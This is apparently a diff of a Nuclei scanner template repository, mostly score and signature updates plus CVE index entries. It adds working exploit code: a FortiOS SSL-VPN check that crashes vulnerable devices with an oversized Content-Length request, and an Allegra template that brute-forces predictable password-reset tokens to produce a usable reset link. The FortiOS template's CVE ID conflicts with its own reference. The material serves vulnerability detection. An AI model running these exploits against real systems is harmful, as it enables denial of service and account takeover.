+    - https://bishopfox.com/blog/exploit-cve-2022-42475
+  classification:
+    epss-score: 0.94003
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2024-42475
+    cwe-id: CWE-122
+  metadata:
+    max-request: 1
+    vendor: fortinet
+    product: fortios
+    shodan-query:
+      - port:10443 http.favicon.hash:945408572
+      - cpe:"cpe:2.3:o:fortinet:fortios"
+      - http.html:"/remote/login" "xxxxxxxx"
+  tags: cve,cve2024,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,kev
+
+code:
+  - engine:
+      - py
+      - python3
+
+    source: |
+      import sys, os, time, socket, ssl
+      PADDING        = 0x4141414141414141
+      PADDING_LEN    = 1024*12
+      CONTENT_LENGTH = b"4294967297"
+
+      class SSLVPNExploit:
+        def __init__(self, host, port):
+          self.host = host
+          self.port = port
+        def connect(self):
+          tries = 1
+          if os.getenv("Scheme") == "https":
+            useSSL = True
+            print("[+] Using SSL/TLS")
+          else:
+            useSSL = False
+            print("[+] Unencrypted connection")
+          while tries <= 6:
+            try:
+              print("[+] Connecting to %s [ attempt %d of 6 ]                                \r" % (self.host, tries), end='\n')
+              self.cleartext_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+              if useSSL == True:
+                ctx = ssl._create_unverified_context()
+                self.socket = ctx.wrap_socket(self.cleartext_socket)
+              else:
+                self.socket = self.cleartext_socket
+              self.socket.settimeout(2.0)
+              self.socket.connect((self.host, self.port))
+
+              return self.socket
+            except socket.timeout as e:
+              tries += 1
+              print("Connection timeout!")
+              continue
+            except Exception as e:
+              print("Unknown error!")
+              print(e)
+              return None
+          return None
+        def check_by_get(self):
+          get_req = bytearray(b"")
+          get_req += b"GET /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
+
+          print("[>] Sending GET first")
+          if self.connect() == None:
+            print("[!] Error connecting to target")
+            exit(1)
+          try:
+            self.socket.sendall(get_req)
+
+            self.socket.settimeout(10)
+            get_buf = self.socket.recv(1048576)
+
+            if len(get_buf) == 0:
+              print("Error while sending GET. Protocol mismatch?")
+              return None
+            self.socket.close()
+            return True
+          except socket.timeout as e:
+            print("[>] Target waited for more data.")
+            return False
+
+          except Exception as e:
+            print("[>] Target dropped the connection during test GET, which indicates a communication error!")
+            print(e)
+            return None
+
+        def is_vulnerable(self):
+          req = bytearray(b"")
+          req += b"POST /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nContent-Length: " + CONTENT_LENGTH + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
+          req += b"AAAAAAAA"*(PADDING_LEN)
+
+          print("[>] Testing to see if target is vulnerable (may take 10 seconds)")
+          if self.connect() == None:
+            print("[!] Error connecting to target")
+            exit(1)
+
+          try:
+            # Send the payload. Vuln instances will crash, severing the connection and
+            # causing an exception to be thrown here.
+            self.socket.sendall(req)
+
+            # If this read succeeds then the target is probably not vulnerable.
+            # If it times out, then it's also probably not vulnerable.
+            self.socket.settimeout(10)
+            buf = self.socket.recv(1048576)
+
+            # If the remote end disconnects without an HTTP response then it's vulnerable.
+            if len(buf) == 0:
+                return True
+
+            # Check to see if it has the vendor patch applied
+            if buf.decode("utf-8", errors="replace").__contains__("HTTP/1.1 413 Request Entity Too Large"):
+                print("[>] Target is patched.")
+                return False # 100% confidence that it's not vulnerable.
+
+            # Ok, something weird and unexpected happened.
+            print("[>] An unexpected response (%d bytes) was recieved:" % len(buf))
+            print("----- BEGIN RESPONSE -----")
+            print(buf.decode("utf-8", errors="replace").replace("\\r\\n", "\n"))
+            print("----- END RESPONSE -----")
+            self.socket.close()
+            return None
+
+          except socket.timeout as e:
+            print("[>] Target waited for more data. Not vulnerable.")
+            return False
+          except Exception as e:
+            print("[>] Target dropped the connection, which indicates a vulnerable device!")
+            print(e)
+            return True
+
+      if __name__ == '__main__':
+        host=os.getenv("Host")
+        port=int(os.getenv("Port"))
+        exploit = SSLVPNExploit(host, port)
+        check = exploit.check_by_get()
+
+        if check == True:
+          result = exploit.is_vulnerable()
+          if result == None:
+            print("[!] An error occurred testing for the vulnerability.\n[!] Is this even a FortiGate SSL-VPN?")
+            exit(2)
+
+          if result == True:
+            print("[+] Target appears to be VULNERABLE")
+            exit(0)
+
+          else:
+            print("[+] Target is NOT vulnerable")
+            exit(1)
+
+    matchers:
+      - type: word
+        words:
+          - "Target appears to be VULNERABLE"
+# digest: 490a004630440220200109caa2f7e95a45434593458382a6ca875167ade0946689005f9fc29664df0220764ae12713d8cb30e3105165bd261c4564a51b50ee294d63d57ca53aa338374d:922c64590222798bb761d5b6d8e72950
@@ -16,7 +16,7 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-2986
-    epss-score: 0.91200
+    epss-score: 0.90996
    epss-percentile: 0.99636
    cpe: cpe:2.3:a:tychesoftwares:abandoned_cart_lite_for_woocommerce:*:*:*:*:*:wordpress:*:*
  metadata:
@@ -626,4 +626,4 @@ http:
      - type: status
        status:
          - 302
-# digest: 4a0a004730450221009fa711a5846a3c93bac4bc69d04eac250dfdf6df030b766ed7e272e1c41e6afd0220383dd08bfdfe5d8ab5f2dc3f9f0c2881b2ab73ec4502c81f92cdf28db1651b82:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402207360b6e655f665c3206296d537b3fb08f38c3e75292145fdd0ce7ff3d2ebc4950220555ab766a2fc4290ba5e70aebf3972ec448bbaa7f7ec17857a4d36eb1ce85d0d:922c64590222798bb761d5b6d8e72950
@@ -17,7 +17,7 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2023-49105
    cwe-id: CWE-287
-    epss-score: 0.86872
+    epss-score: 0.86688
    epss-percentile: 0.99395
    cpe: cpe:2.3:a:owncloud:owncloud:*:*:*:*:*:*:*:*
  metadata:
@@ -90,4 +90,4 @@ http:
      - type: dsl
        dsl:
          - '"Username => "+ username'
-# digest: 490a0046304402204b1fb18af3e1a3a93ddf533a7112f566b1c32c20d54fce52634df059c876cd060220684fd961920c7f143e93d510a7e4219626c8ef2291c908ffecbb8a92171f9185:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100d1361a88791cd15ca47fa69ee04109e863d4b64e0ff51fd402aee326f02b3afb022100956866982e3aa3ff3694a645f6b77b7a705056f078771cc8881db8f55acaff45:922c64590222798bb761d5b6d8e72950
@@ -17,7 +17,7 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2023-4911
    cwe-id: CWE-787,CWE-122
-    epss-score: 0.66736
+    epss-score: 0.78156
    epss-percentile: 0.98452
    cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
  metadata:
@@ -39,4 +39,4 @@ code:
      - type: word
        words:
          - "139"     # Segmentation Fault Exit Code
-# digest: 4a0a0047304502207a6e5753b4c34b6c6a6b114a627b1024aea6e7ffaf398b1a92eb895c3a0449b9022100e7d7bde1dcc8c8248fa38491377b58370af797f1769f84f3be87a1fa8e672445:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502200467c526f6043a379948d8ced51cc69e62cda1e931a681fe275eb9860d715f37022100f445b6a72ea04c499b20fe826724ee120544d715795d1445709b8145a9895277:922c64590222798bb761d5b6d8e72950
@@ -17,7 +17,7 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2023-6246
    cwe-id: CWE-787,CWE-122
-    epss-score: 0.22699
+    epss-score: 0.26478
    epss-percentile: 0.95613
    cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
  metadata:
@@ -39,4 +39,4 @@ code:
      - type: word
        words:
          - "127"     # Segmentation Fault Exit Code
-# digest: 490a004630440220435fc0f1f42662dd77393d370309115320794f7957843c0ff1ef4c0e68d5566402200e729fedbc5915a5e9a5c33cd70ccff6646981ea2ae405bb1341c83e0b228b08:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402202186423140cba034149105b6c5f8fae507a03844c26e4329d1f4437abb29e41202201f13cba920b16ae34421b775498e1bca85f7cc6659582da1e8cfbad540281d7c:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-10443
    cwe-id: CWE-77
-    epss-score: 0.69629
+    epss-score: 0.67637
    epss-percentile: 0.98573
    cpe: cpe:2.3:a:synology:photos:*:*:*:*:*:diskstation_manager:*:*
  metadata:
@@ -54,4 +54,4 @@ code:
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "dns"
-# digest: 4a0a004730450220238322406ea7b36d09adcd8d11555a98663066124719295b82627c0c6aa649c602210097fd42ed176237bd31b1b6fe4b675eb74f378636c66888f6578c5f20d49e8af4:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100bc3a13e648e7ec51ac1836066641533bfcdbb2cedab653a2e02b0fd70616fb4602204417a29e0f2a5863f30dfa9119cccd591a4435fcdd7a5ff36a762cbc92812c8b:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-12356
    cwe-id: CWE-77
-    epss-score: 0.93590
+    epss-score: 0.93687
    epss-percentile: 0.99831
    cpe: cpe:2.3:a:beyondtrust:privileged_remote_access:*:*:*:*:*:*:*:*
  metadata:
@@ -37,4 +37,4 @@ code:
        words:
          - "0 success"
          - "1 try again later"
-# digest: 4a0a00473045022100be13ba221189875a5c3c181eb1e6c5d7c4806c31798dc6f540657279fac5b029022031676609cf3da0030625ce6aac0a33787770a4d084ec52ac9f58d0faa903025f:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221008fdc45694288c9092a928bc2ba325f5b16bf96f4c94065e7afc046dffccdc7f6022100b3c8af22d05813a12e0a1cc490999e848f91a3bbeb4d9e87bc1e3c1dd6a45c0b:922c64590222798bb761d5b6d8e72950
@@ -17,7 +17,7 @@ info:
    cvss-score: 10
    cve-id: CVE-2024-3094
    cwe-id: CWE-506
-    epss-score: 0.84011
+    epss-score: 0.84169
    epss-percentile: 0.99254
    cpe: cpe:2.3:a:tukaani:xz:5.6.0:*:*:*:*:*:*:*
  metadata:
@@ -59,4 +59,4 @@ code:
      - type: dsl
        dsl:
          - response
-# digest: 4b0a00483046022100f7234c73aae801d78da251277aec0c21a4952b8b344944b3892eee84ec5891ae0221008d992982b582811cdd8173176149ef196cc6f7b672fcf16d10c05aab8badd9db:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022058d32a2e8218872afa1f30ea214365196b87480a320425dd7b5082c3a11a01c00221009fb13dcff0743b605d213aee84fdc614cddbb7aa034a6bdfdfb5d6e6af71a8c6:922c64590222798bb761d5b6d8e72950
@@ -20,7 +20,7 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-45409
    cwe-id: CWE-347
-    epss-score: 0.16139
+    epss-score: 0.14907
    epss-percentile: 0.94531
  metadata:
    verified: true
@@ -123,4 +123,4 @@ http:
      - type: kval
        kval:
          - _gitlab_session
-# digest: 490a0046304402201e63c308fefaaa4d4ba99b5a7c2ea3d7dcdf5544dc8d4a1ae1a0fbd532d7241702207232eaea82be593da580ba735e84de2153ee1708552ae08603c4c7237f2e1112:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402207fcad984b97d6cf3e7d103a97d8ac0b804375bc62fa335801c66337b72c68cb2022028a34cecc66c0b0b0afdc46859c2675df13bcf803911b3c5b00359239183b814:922c64590222798bb761d5b6d8e72950
@@ -17,7 +17,7 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-55556
    cwe-id: CWE-502
-    epss-score: 0.80857
+    epss-score: 0.7976
    epss-percentile: 0.99096
  metadata:
    verified: true
@@ -193,4 +193,4 @@ http:
      - type: status
        status:
          - 500
-# digest: 4b0a00483046022100e75d786df30fc6d158bb38bc2b13a5af3c2e27174c1617fe01b419f3a5d69b57022100840b6aaccec646d85c578e77492eda810bfb731287ba8520e5d657e92f883297:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100bedda7807b6e8b1de9d06c3de6965d20f099c71510556bb6cd624a2fad2be0db02207a9e0962a7814c6422cdc32195f4b474081785e386a7578b5a1705d5add154cc:922c64590222798bb761d5b6d8e72950
@@ -10,7 +10,7 @@ info:
    - https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass
    - https://github.com/advisories/GHSA-g83h-4727-5rpv
  classification:
-    epss-score: 0.38910
+    epss-score: 0.3891
    epss-percentile: 0.97110
  metadata:
    verified: true
@@ -188,4 +188,4 @@ http:
      - type: kval
        kval:
          - user_session
-# digest: 4a0a00473045022100d4499f701d4dbaa3fee40a00ced7f7790a94891bc9007aed06b4741a76fd543c0220713f41ccb6c2e702ac3513a926d5308c1077bf3cf7f01d4b049c347bd3dfd7e7:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022011426fc5ebeb8774da55b3e13ea70980635eae1dfcdc9265862c83ccee5dd32c022100a3811bfcc159dbc91424ddb31e76806b5b1a64acd73aa014e5f2306f058cb32f:922c64590222798bb761d5b6d8e72950
@@ -19,7 +19,7 @@ info:
    cvss-score: 9.3
    cve-id: CVE-2025-25291
    cwe-id: CWE-347
-    epss-score: 0.01703
+    epss-score: 0.02296
    epss-percentile: 0.81527
  metadata:
    verified: true
@@ -78,4 +78,4 @@ http:
      - type: kval
        kval:
          - _gitlab_session
-# digest: 490a00463044022100be3b0643c89a1ddcd15aa06afc686f3efb80fa245984ce21ca1b4275c74d42a2021f4b0e28ee37a26ab75834991f37b275727fac03c60f0170a2e59e232ae078d8:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220235b1de01210fb06562b784c31b9774a385c46ff77e11ce19f1df321822bc3e8022100d6bad0364c99e6c8086521ab2accbb9575b74af87cc682d0d57ef38099fbe991:922c64590222798bb761d5b6d8e72950
@@ -20,7 +20,7 @@ info:
    cvss-score: 10
    cve-id: CVE-2025-32433
    cwe-id: CWE-306
-    epss-score: 0.55376
+    epss-score: 0.57377
    epss-percentile: 0.97930
  metadata:
    verified: true
@@ -172,4 +172,4 @@ code:
        dsl:
          - 'contains(interactsh_protocol, "dns")'
        condition: and
-# digest: 4a0a0047304502207edfd6f617b697c540c8375a5278b5c1016c928b22d041e1dc19ddfdad65d43b022100a4785eb798107b1413fd119e65a851be94361018e5eb785f393d26feed858cc1:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e36084dcd9b8fa5347cf8bf47d18d1e3d76a0744981414bbcbc23fd7e702706102204ef22a6591bcc3ee21aee8ed14e150571204b0fda60f783ec25790c083b54e0b:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,117 @@
+id: CVE-2025-6216
+
+info:
+  name: Allegra - Authentication Bypass via Predictable Password Reset Token
+  author: iamnoooob,pdresearch
+  severity: critical
+  description: |
+    Allegra calculateTokenExpDate Password Recovery Authentication Bypass Vulnerability. This vulnerability allows remote attackers to bypass authentication on affected installations of Allegra. Authentication is not required to exploit this vulnerability. The specific flaw exists within the password recovery mechanism. The issue results from reliance upon a predictable value when generating a password reset token. An attacker can leverage this vulnerability to bypass authentication on the application.
+  impact: |
+    An attacker can exploit this vulnerability to bypass authentication and gain unauthorized access to the application, potentially compromising sensitive data and system integrity.
+  remediation: |
+    Upgrade Allegra to version 8.1.4 or 7.5.2 or later to fix the predictable password reset token vulnerability.
+  reference:
+    - https://www.zerodayinitiative.com/advisories/ZDI-25-410/
+    - https://alltena.com/en/resources/release-notes/release-notes-for-release-8-1-4-and-release-7-5-2
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-6216
+  classification:
+    epss-score: 0.11118
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2025-6216
+    cwe-id: CWE-640
+    cpe: cpe:2.3:a:alltena:allegra:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: alltena
+    product: allegra
+    shodan-query: http.favicon.hash:"284403119"
+    fofa-query: icon_hash="284403119"
+  tags: cve,cve2025,allegra,auth-bypass,predictable-token,reset
+
+variables:
+  email: "[email protected]"  # Change to a test account
+
+flow: http(1) && code()
+
+http:
+  - raw:
+      - |
+        POST /resetPassword.action HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+
+        email={{email}}&fromAjax=true&_dc=1750669432104&perspectiveType=&appActionID=
+
+    extractors:
+      - type: regex
+        name: date_header
+        part: header
+        internal: true
+        group: 1
+        regex:
+          - "Date: (.*)"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "emailSent"
+          - '"success":true'
+        condition: and
+
+      - type: status
+        status:
+          - 200
+
+code:
+  - engine:
+      - py
+      - python3 # requires python to be pre-installed on system running nuclei
+
+    source: |
+            import requests
+            import hashlib,os
+            import time
+            from datetime import datetime, timezone
+            from email.utils import parsedate_to_datetime
+
+            def get_server_time(response):
+                date_header = response.headers.get('Date')
+                if date_header:
+                    return parsedate_to_datetime(date_header)
+                return None
+
+            def main():
+                BASE_URL = os.getenv("BaseURL")
+                EMAIL = os.getenv("email")
+                date_header = os.getenv("date_header")
+                server_time = parsedate_to_datetime(date_header)
+                if not server_time:
+                    return
+                server_time_ms = int(server_time.timestamp() * 1000)
+                expiry_time_ms = server_time_ms + 28800000
+                base_expiry_sec = (expiry_time_ms // 1000) * 1000
+                for ms in range(1000):
+                    candidate_expiry_ms = base_expiry_sec + ms
+                    token = hashlib.sha256(str(candidate_expiry_ms).encode()).hexdigest()
+                    test_url = f"{BASE_URL}/resetPassword!confirm.action?ctk={token}"
+                    r = requests.get(test_url, allow_redirects=False)
+                    if 'com.trackplus.app.logon.ResetPasswordApplication' in r.text:
+                        print(test_url)
+                        return
+
+            if __name__ == "__main__":
+                main()
+
+    matchers:
+      - type: dsl
+        dsl:
+          - contains(code_response, "/resetPassword!confirm.action?ctk=")
+
+    extractors:
+      - type: dsl  # type of the extractor
+        dsl:
+          - '"Reset URL: " + code_response'
+# digest: 4a0a00473045022100f8903b48a3426223b074cf3692b1d6a29234635491568677b23e79a7e63b8d3c0220607199839279491185e602067f73ce3373035197e4345c24ed28e64259923e79:922c64590222798bb761d5b6d8e72950
@@ -433,6 +433,7 @@
 {"ID":"CVE-2017-17731","Info":{"Name":"DedeCMS 5.7 - SQL Injection","Severity":"critical","Description":"DedeCMS through 5.7 has SQL Injection via the $_FILES superglobal to plus/recommend.php.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2017/CVE-2017-17731.yaml"}
 {"ID":"CVE-2017-17736","Info":{"Name":"Kentico - Installer Privilege Escalation","Severity":"critical","Description":"Kentico 9.0 before 9.0.51 and 10.0 before 10.0.48 are susceptible to a privilege escalation attack. An attacker can obtain Global Administrator access by visiting CMSInstall/install.aspx and then navigating to the CMS Administration Dashboard.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2017/CVE-2017-17736.yaml"}
 {"ID":"CVE-2017-18024","Info":{"Name":"AvantFAX 3.3.3 - Cross-Site Scripting","Severity":"medium","Description":"AvantFAX 3.3.3 contains a cross-site scripting vulnerability via an arbitrary parameter name submitted to the default URL, as demonstrated by a parameter whose name contains a SCRIPT element and whose value is 1.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2017/CVE-2017-18024.yaml"}
+{"ID":"CVE-2017-18349","Info":{"Name":"Fastjson Insecure Deserialization - Remote Code Execution","Severity":"critical","Description":"parseObject in Fastjson before 1.2.25, as used in FastjsonEngine in Pippo 1.11.0 and other products, allows remote attackers to execute arbitrary code via a crafted JSON request, as demonstrated by a crafted rmi-// URI in the dataSourceName field of HTTP POST data to the Pippo /json URI, which is mishandled in AjaxApplication.java.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2017/CVE-2017-18349.yaml"}
 {"ID":"CVE-2017-18487","Info":{"Name":"AdPush \u003c 1.44 - Cross-Site Scripting","Severity":"medium","Description":"The adsense-plugin (aka Google AdSense) plugin before 1.44 for WordPress has multiple XSS issues.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2017/CVE-2017-18487.yaml"}
 {"ID":"CVE-2017-18490","Info":{"Name":"Contact Form Multi by BestWebSoft \u003c 1.2.1 - Cross-Site Scripting","Severity":"medium","Description":"The contact-form-multi plugin before 1.2.1 for WordPress has multiple XSS issues.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2017/CVE-2017-18490.yaml"}
 {"ID":"CVE-2017-18491","Info":{"Name":"Contact Form by BestWebSoft \u003c 4.0.6 - Cross-Site Scripting","Severity":"medium","Description":"The contact-form-plugin plugin before 4.0.6 for WordPress has multiple XSS issues.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2017/CVE-2017-18491.yaml"}
@@ -1036,6 +1037,7 @@
 {"ID":"CVE-2020-29047","Info":{"Name":"WP Hotel Booking \u003c 1.10.4 - PHP Object Injection","Severity":"critical","Description":"The wp-hotel-booking plugin through 1.10.2 for WordPress allows remote attackers to execute arbitrary code because of an unserialize operation on the thimpress_hotel_booking_1 cookie in load in includes/class-wphb-sessions.php.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-29047.yaml"}
 {"ID":"CVE-2020-29164","Info":{"Name":"PacsOne Server \u003c7.1.1 - Cross-Site Scripting","Severity":"medium","Description":"PacsOne Server (PACS Server In One Box) below 7.1.1 is vulnerable to cross-site scripting.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2020/CVE-2020-29164.yaml"}
 {"ID":"CVE-2020-29227","Info":{"Name":"Car Rental Management System 1.0 - Local File Inclusion","Severity":"critical","Description":"Car Rental Management System 1.0 allows an unauthenticated user to perform a file inclusion attack against the /index.php file with a partial filename in the \"page\" parameter, leading to code execution.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-29227.yaml"}
+{"ID":"CVE-2020-29390","Info":{"Name":"Zeroshell 3.9.3 - Command Injection","Severity":"critical","Description":"Zeroshell 3.9.3 contains a command injection vulnerability in the /cgi-bin/kerbynet StartSessionSubmit parameter that could allow an unauthenticated attacker to execute a system command by using shell metacharacters and the %0a character.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-29390.yaml"}
 {"ID":"CVE-2020-29395","Info":{"Name":"Wordpress EventON Calendar 3.0.5 - Cross-Site Scripting","Severity":"medium","Description":"Wordpress EventON Calendar 3.0.5 is vulnerable to cross-site scripting because it allows addons/?q= XSS via the search field.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2020/CVE-2020-29395.yaml"}
 {"ID":"CVE-2020-29453","Info":{"Name":"Jira Server Pre-Auth - Arbitrary File Retrieval (WEB-INF, META-INF)","Severity":"medium","Description":"The CachingResourceDownloadRewriteRule class in Jira Server and Jira Data Center allowed unauthenticated remote attackers to read arbitrary files within WEB-INF and META-INF directories via an incorrect path access check.","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2020/CVE-2020-29453.yaml"}
 {"ID":"CVE-2020-29583","Info":{"Name":"ZyXel USG - Hardcoded Credentials","Severity":"critical","Description":"A hardcoded credential vulnerability was identified in the 'zyfwp' user account in some Zyxel firewalls and AP controllers. The account was designed to deliver automatic firmware updates to connected access points through FTP.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-29583.yaml"}
@@ -1706,7 +1708,7 @@
 {"ID":"CVE-2022-1442","Info":{"Name":"WordPress Metform \u003c=2.1.3 - Information Disclosure","Severity":"high","Description":"WordPress Metform plugin through 2.1.3 is susceptible to information disclosure due to improper access control in the ~/core/forms/action.php file. An attacker can view all API keys and secrets of integrated third-party APIs such as that of PayPal, Stripe, Mailchimp, Hubspot, HelpScout, reCAPTCHA and many more.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2022/CVE-2022-1442.yaml"}
 {"ID":"CVE-2022-1574","Info":{"Name":"WordPress HTML2WP \u003c=1.0.0 - Arbitrary File Upload","Severity":"critical","Description":"WordPress HTML2WP plugin through 1.0.0 contains an arbitrary file upload vulnerability. The plugin does not perform authorization and CSRF checks when importing files and does not validate them. As a result, an attacker can upload arbitrary files on the remote server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-1574.yaml"}
 {"ID":"CVE-2022-1580","Info":{"Name":"Site Offline WP Plugin \u003c 1.5.3 - Authorization Bypass","Severity":"medium","Description":"The plugin prevents users from accessing a website but does not do so if the URL contained certain keywords. Adding those keywords to the URL's query string would bypass the plugin's main feature.\n","Classification":{"CVSSScore":"4.3"}},"file_path":"http/cves/2022/CVE-2022-1580.yaml"}
-{"ID":"CVE-2022-1595","Info":{"Name":"WordPress HC Custom WP-Admin URL \u003c=1.4 - Admin Login URL Disclosure","Severity":"medium","Description":"WordPress HC Custom WP-Admin URL plugin through 1.4 leaks the secret login URL when sending a specially crafted request, thereby allowing an attacker to discover the administrative login URL.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2022/CVE-2022-1595.yaml"}
+{"ID":"CVE-2022-1595","Info":{"Name":"WordPress HC Custom WP-Admin URL \u003c=1.4 - Admin Login URL Disclosure","Severity":"medium","Description":"The HC Custom WP-Admin URL WordPress plugin through 1.4 leaks the secret login URL when sending a specific crafted request\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2022/CVE-2022-1595.yaml"}
 {"ID":"CVE-2022-1597","Info":{"Name":"WordPress WPQA \u003c5.4 - Cross-Site Scripting","Severity":"medium","Description":"WordPress WPQA plugin prior to 5.4 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape a parameter on its reset password form.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-1597.yaml"}
 {"ID":"CVE-2022-1598","Info":{"Name":"WordPress WPQA \u003c5.5 - Improper Access Control","Severity":"medium","Description":"WordPress WPQA plugin before 5.5 is susceptible to improper access control. The plugin lacks authentication in a REST API endpoint. An attacker can potentially discover private questions sent between users on the site.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2022/CVE-2022-1598.yaml"}
 {"ID":"CVE-2022-1609","Info":{"Name":"The School Management \u003c 9.9.7 - Remote Code Execution","Severity":"critical","Description":"The School Management plugin before version 9.9.7 contains an obfuscated backdoor injected in it's license checking code that registers a REST API handler, allowing an unauthenticated attacker to execute arbitrary PHP code on the site.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-1609.yaml"}
@@ -1756,6 +1758,7 @@
 {"ID":"CVE-2022-23178","Info":{"Name":"Crestron Device - Credentials Disclosure","Severity":"critical","Description":"An issue was discovered on Crestron HD-MD4X2-4K-E 1.0.0.2159 devices. When the administrative web interface of the HDMI switcher is accessed unauthenticated, user credentials are disclosed that are valid to authenticate to the web interface. Specifically, aj.html sends a JSON document with uname and upassword fields.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-23178.yaml"}
 {"ID":"CVE-2022-23347","Info":{"Name":"BigAnt Server v5.6.06 - Local File Inclusion","Severity":"high","Description":"BigAnt Server v5.6.06 is vulnerable to local file inclusion.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2022/CVE-2022-23347.yaml"}
 {"ID":"CVE-2022-23348","Info":{"Name":"BigAnt Server 5.6.06 - Improper Access Control","Severity":"medium","Description":"BigAnt Server 5.6.06 is susceptible to improper access control. The software utililizes weak password hashes. An attacker can craft a password hash and thereby possibly possibly obtain sensitive information, modify data, and/or execute unauthorized operations.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2022/CVE-2022-23348.yaml"}
+{"ID":"CVE-2022-23397","Info":{"Name":"Cedar Gate EZ-NET \u003c= 6.8.0 - Cross-Site Scripting","Severity":"medium","Description":"The Cedar Gate EZ-NET portal 6.5.5 6.8.0 Internet portal has a call to display messages to users which does not properly sanitize data sent in through a URL parameter. This leads to a Reflected Cross-Site Scripting vulnerability.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-23397.yaml"}
 {"ID":"CVE-2022-23544","Info":{"Name":"MeterSphere \u003c 2.5.0 SSRF","Severity":"medium","Description":"MeterSphere is a one-stop open source continuous testing platform, covering test management, interface testing, UI testing and performance testing. Versions prior to 2.5.0 are subject to a Server-Side Request Forgery that leads to Cross-Site Scripting. A Server-Side request forgery in `IssueProxyResourceService::getMdImageByUrl` allows an attacker to access internal resources, as well as executing JavaScript code in the context of Metersphere's origin by a victim of a reflected XSS. This vulnerability has been fixed in v2.5.0. There are no known workarounds.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-23544.yaml"}
 {"ID":"CVE-2022-2373","Info":{"Name":"WordPress Simply Schedule Appointments \u003c1.5.7.7 - Information Disclosure","Severity":"medium","Description":"WordPress Simply Schedule Appointments plugin before 1.5.7.7 is susceptible to information disclosure. The plugin is missing authorization in a REST endpoint, which can allow an attacker to retrieve user details such as name and email address.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2022/CVE-2022-2373.yaml"}
